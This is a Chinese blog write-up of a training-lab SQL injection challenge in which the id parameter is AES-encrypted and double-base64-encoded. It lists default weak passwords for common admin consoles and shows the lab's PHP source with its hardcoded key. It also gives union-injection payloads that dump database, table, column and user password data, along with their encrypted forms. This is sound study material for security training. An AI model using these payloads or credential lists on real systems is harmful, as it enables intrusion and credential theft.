SQL注入漏洞测试(参数加密)

💪💪SQL注入漏洞测试参数加密


1.分析题目

💪💪 首先第一步看题目,进入系统后我们首先看一下是什么类型的网站,不同类型的网站往往存在的漏洞不一样,我们首先看到的是一个登录框,第一步想到的是该网站是不是存在弱口令,使用burpsuit进行爆破

注:

常见弱口令如下:

网站后台:
admin、manager、admin123、admin888、admin666

数据库(phpmyadmin)
账号:root
密码:root、root123、123456

tomcat
账号:admin、tomcat、manager
密码:admin、tomcat、admin123、123456、manager

jboss
账号:admin、jboss、manager
密码:admin、jboss、manager、123456

weblogic
账号:weblogic、admin、manager
密码:weblogic、admin、manager、123456
在这里插入图片描述
可以看到当用户名为admin,密码为123456的时候,返回200,但是却登录不了,所以考虑下一条突破口,可以查看一下源代码:

在这里插入图片描述

有一个链接,不管了,先点进去看看,点进去发现并没有什么

在这里插入图片描述
请添加图片描述

2.找敏感信息

💪💪点击之后我们进入如下目录,可以很容易发现存在注入点,

请添加图片描述

⚠️⚠️不管注入什么,都是返回初始页面,所以怀疑注入需要加密,所以接下来目录爆破

  1. 💎💎用burpsuit爆破
    请添加图片描述
    请添加图片描述
  2. 💎💎用御剑直接爆破
    请添加图片描述
    请添加图片描述

文件类容如下所示,我把所有函数进行了解释

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){     //$data:要加密的数据
    //mcrypt_module_open():第一个参数是使用的加密算法的名称,对应mcrypt_list_algorithms()输出的加密算法;
    //第二个参数一般为“”
    //第三个参数对应加密的模式,对应mcrypt_list_modes()输出的支持加密模式。
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');

    // mcrypt_generic_init($td, $key, $iv);
    //$td为返回的加密描述符,$key为加密密钥,$iv为初始化向量
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');

    //$encrypted_data = mcrypt_generic($td, $data);
    //$td为加密描述符,$data为加密前的数据,数据加密函数返回加密后的字符串。
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));   //两次base64加密后再进行一起其他加密

    //如下两条语句没用,是执行清理工作的
    mcrypt_generic_deinit($td);
	mcrypt_module_close($td);


	if(substr(trim($data),-6)!=='_mozhe'){   //$data最后六个字符不是'_mozhe',就返回首页,防止注入的方法之一

		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);//$data最后六个字符是'_mozhe',就返回除'_mozhe'的其他字符
	}
}
$id=decode($_GET['id']);   //进行decode加密,
$sql="select id,title,content,time from notice where id=$id";   //注入语句是这条
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

以下类容进行了一次AES加密,两次base64加密:由以上的代码我们可以反向构造语句(语句后要加_mozhe),构造的语句AES加密后再两次base64加密

3.解题

这题就是union注入,只不过需要对注入语句进行加密,如下是正常sql注入语句,

爆库: -1 union select 1,database(),3,4_mozhe
爆表:-1 union select 1,group_concat(table_name),3,4 frominformation_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit0,1_mozhe
爆列:-1 union select 1,group_concat(column_name),3,4 frominformation_schema.columns where table_name=‘StormGroup_member’ limit 0,1_mozhe
爆字段:-1 union select 1,group_concat(name,password),3,4 fromStormGroup_member limit 0,1_mozhe

进行AES加密后的语句,还需要进行base64加密两次

xgd58ipTrnx8VzSBJicqCkfa8baY1gC/rbon/boeWRvpXDbicAWWwFFEIfXmOuxU

xgd58ipTrnx8VzSBJicqCtnxUkLmTyTBAkYq0YotB+2TUlxiaZHz+pFXJJAjk7w74XqO9Y4QtTSAiJau7Y9+b/YvhEoSyuOlWcpDFDM17XmqO6XS490aiWVoq6kwDUHyxITtMcagQFnkyYrpjUz65/gZd34FY7FQ9RFOXiVy82d0a8UKaV8/pe57GA8Jvfkl

 xgd58ipTrnx8VzSBJicqCuvzwQ04ka/PubBNkKJyJETUw/zaWGzAKbj8oM1RQbhWf1CfRwlegybYL2FlUN2T05vP1T+wvhFQcMl8We3XiKd6S7G/cbcLD0VkQOeuNdvhqCx0lgU64V2esD+CRXswac+6cmtTyLwFnXR0G/O5WDuB2Q2LjsAClWxBjsWCZADB

xgd58ipTrnx8VzSBJicqCrKk6D6pYYlFPPQb9jGbVkT6Sq341dUA+jAehyAsFGEMPtnMxDXPlUuRpOkifULqcFMTaSpri+iCfTYxVtvLPoh5a0Pspn/PBIs43WGWH1dh

工具如下:
base64加密工具
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全天天学

你的鼓励是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值